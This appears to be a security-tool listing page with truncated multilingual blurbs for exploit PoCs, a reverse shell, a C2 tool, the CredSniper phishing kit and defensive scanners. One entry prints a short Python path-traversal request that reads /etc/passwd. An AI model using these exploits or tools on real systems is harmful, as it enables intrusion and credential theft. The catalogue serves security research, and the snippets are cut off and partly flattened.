meltdown-aws-scanner

meltdown-aws-scanner 用于验证EC2实例上Meltdown CVE-2017-5754 补丁状态的简单shell脚本 需求 已配置且可正常工作的 aws cli 使用脚本 扫描默认账户和区域中的所有EC2实例 root@kitploit: $ ./checkmeltdown.sh | tee $date '+%Y-%m-%d'.csv 扫描默认账户和区域中的部分EC2实例 root@kitploit: $ ./checkmeltdown.sh --filters "Name=tag:Name,Values=prod-"...

CVE-2019-11043

CVE-2019-11043 0th3rs セキュリティチーム ====================== PHP バージョン 7.1.x で 7.1.33 未満、7.2.x で 7.2.24 未満、7.3.x で 7.3.11 未満 PHP 7.2.20/7.3.10 でテスト済み 手順 root@kitploit: 1、比較的安定しており、queryの長さとHeaderヘッダーフィールドの長さをブルートフォースで特定するだけでよい。 2、autosession で脆弱性の存在を検出する 3、対象のワーカープロセス数を判断して堅牢性を実現する 4、全ワーカープロセスを汚染する Ngi...

CVE-2025-27840

此存储库没有 README。...

cve-2024-31317

CVE-2024-31317 探索 CVE-2024-31317 提供了对任意 uid 以及合法 Android 应用可用的 SELinux 作用域的非特权访问。这提供了对 uid 1000（system）和 uid 2000（shell）的访问权限，并且可以完全由非特权应用触发，从而使使用它的任何功能得以持久化。 解释 SELinux 模拟 Zygote 参数 模拟器设置 适用性 该漏洞利用应适用于大多数 Android 版本——2024 年 6 月安全补丁之前的版本，以及 Android 9+。部分厂商可能已将该变更移植到更早的版本中。具体而言，这意味着 Android 9-14...

HTTP-Shell

HTTP-Shell HTTP-Shell はマルチプラットフォーム対応のリバースシェルです。このツールは、HTTP経由のリバース接続上でシェルライクなインターフェースを取得するのに役立ちます。他のリバースシェルとは異なり、このツールの主な目的は、Microsoft Dev Tunnelsと組み合わせて使用し、正規の接続に可能な限り近い接続を実現することです。...

WSC2

WSC2 最終/現在のバージョン: 0.1 作者: Arno0x0x - @Arno0x0x WSC2 は、WebSocket とブラウザプロセスを使用して、対象システム上で動作するエージェントと、実際の C2 サーバとして機能するコントローラとの間の C2 通信チャネルとして機能する PoC です。 本ツールは GPLv3 ライセンス の条件の下で配布されています。 背景情報 このツールの開発に関する背景と洞察を得るには、以下のブログ記事を参照してください: WebSocket と IE/Edge を C2 通信に使用する アーキテクチャ WSC2 は以下で構成されます: Python...

M5PORKCHOP

root@kitploit: Volume Zero, Issue 3, Phile 1 of 1 M5PORKCHOP README v0.1.8b-PSTH ^^ oo\ \ /\ ||----w | || || yes that's a cow. the pig ate the pig art budget. the horse was unavailable for comment. 67% of skids skip READMEs. 100% of those skids report bugs we documented. the horse thinks this is...

trivy-db

trivy-db 概述 trivy-db 是一个用于操作 Trivy DB 的 CLI 工具和库。 库 Trivy 在内部使用 trivy-db 来操作漏洞数据库。该数据库包含来自 NVD、Red Hat、Debian 等的漏洞信息。 CLI trivy-db CLI 工具用于构建漏洞数据库。GitHub Actions 工作流 会定期使用 trivy-db 构建新版本的漏洞数据库，并将其上传到 GitHub Container Registry（请参阅下面的下载漏洞数据库）。 root@kitploit: NAME: trivy-db - Trivy DB builder USAGE:...

007-TheBond

007-TheBond 🕵️‍♂️ 複数のプラットフォームやサービスから情報を収集するための、Pythonベースの強力なOSINT（オープンソースインテリジェンス）ツールです。 007-TheBondは、セキュリティ研究者、調査員、倫理的ハッカーが、ソーシャルメディアプロフィール、電話番号、IPアドレスなど、さまざまなソースから公開情報を収集するのに役立ちます。 🐳 Docker Hub • 💬 Discord • ☕ サポート • 🐛 問題報告 🔍 機能 機能| 説明| ステータス ---|---|--- 📸 Instagram OSINT| Instagramプロフィールから情報を収集|...

CredSniper

CredSniper 概要 利点 基本的な使い方 インストール スクリーンショット Gmailモジュール メンテナー コントリビューション 概要 CredSniperを使用すると、SSLで完全に保護された新しいフィッシングサイトを簡単に立ち上げ、認証情報と2FAトークンを取得できます。APIは、ランダムに生成されたAPIトークンを使用して他のアプリケーションで利用できる、現在取得された認証情報への安全なアクセスを提供します。 提供元: 利点 Let's Encryptによる完全サポートのSSL 現実的なフィッシングのための正確なログインフォームのクローン 任意の数の中間ページ 例:...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 2 脆弱なバージョン: 2.15.0-rc2 より前の Log4j バージョンは、ldap JNDI パーサーを介したリモートコード実行の脆弱性の影響を受けます。 問題の再現へ 脆弱性の再現へ...

exploit-CVE-2023-27564

CVE-2023-27564 のエクスプロイト この脆弱性により、n8n で匿名のファイル読み取りが可能になります。 root@kitploit: import requests url = "https://example.com/rest/data/filesystem:..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd:.svg" response = requests.geturl printresponse.statuscode printresponse.headers printresponse.text ソー...

CVE-2024-3400-Compromise-Checker

Comprobador de compromiso CVE-2024-3400 Un script bash muy sencillo para comprobar si existen indicios de compromiso relacionados con CVE-2024-3400 en firewalls de Palo Alto. Diseñado para proporcionar un triaje inicial rápido de los dispositivos potencialmente afectados mediante la comprobación ...

CVE-2024-6205

CVE-2024-6205 pip install requests 这是一个用Python编写的近期WordPress插件漏洞的PoC。更多信息请查看以下链接： https://nvd.nist.gov/vuln/detail/CVE-2024-6205 https://cvefeed.io/vuln/detail/CVE-2024-6205...

-CVE-2017-9805-

Información de vulnerabilidad Recursos: https://vulners.com/cve/CVE-2017-9805 ¿Qué es esto? Un script de exploit en Python capaz de ejecutar comandos remotos en el shell de un sistema que aloja un Struts2 vulnerable a S2-052. Uso python s2-052.py --target 'http://192.168.0.233/orders/3' --command...

CVE-2026-49772

The Events Calendar SQL注入 CVE-2026-49772 PoC 描述 CVE-2026-49772 是 WordPress 插件 The Events Calendar 中的一个未授权盲SQL注入 。一个损坏的REST参数验证器（validatecallback 返回闭包而不是进行验证）使得实验性 tec/v1 REST API 上的 order 参数未经消毒就到达了 SQL ORDER BY 子句： root@kitploit: GET /wp-json/tec/v1/events?orderby=eventdate&order= root@kitploit:...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Unauthenticated RCE root@kitploit: / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE. 漏洞详情...

GitHound

GitHound 概述 GitHound 是一款面向 GitHub 的 BloodHound OpenGraph 收集器，旨在将你组织的结构与权限映射为可导航的攻击路径图。它能够： 对关键 GitHub 实体建模 GHOrganization ：你的 GitHub 组织元数据 GHUser ：组织中的个人用户账户 GHTeam ：将用户分组以实现共享访问的团队 GHRepository ：组织内的代码仓库 GHBranch ：每个仓库中的命名分支 GHOrgRole 、GHTeamRole 、GHRepoRole ：组织级、团队级和仓库级的角色/权限 在 BloodHound 中可视化与...

forbidden

Forbidden Bypass 4xx HTTP response status codes and more. The tool is based on Python Requests, PycURL, and HTTP Client. Tested on Kali Linux v2024.2 64-bit. Made for educational purposes. I hope it will help! Future plans: Add the silent option to suppress console output. Add the no color option...

forbidden

Forbidden 4xx HTTPレスポンスステータスコードなどをバイパスします。 このツールはPython Requests、PycURL、およびHTTP Clientに基づいています。 Kali Linux v2024.2 64-bitでテスト済みです。 教育目的で作成されました。お役に立てれば幸いです！ 今後の計画: コンソール出力を抑制するsilentオプションの追加。 色付きコンソール出力を無効にするno colorオプションの追加。 hop-by-hop HTTPリクエストヘッダーのテスト追加。 User-Agent HTTPリクエストヘッダーのテスト追加。...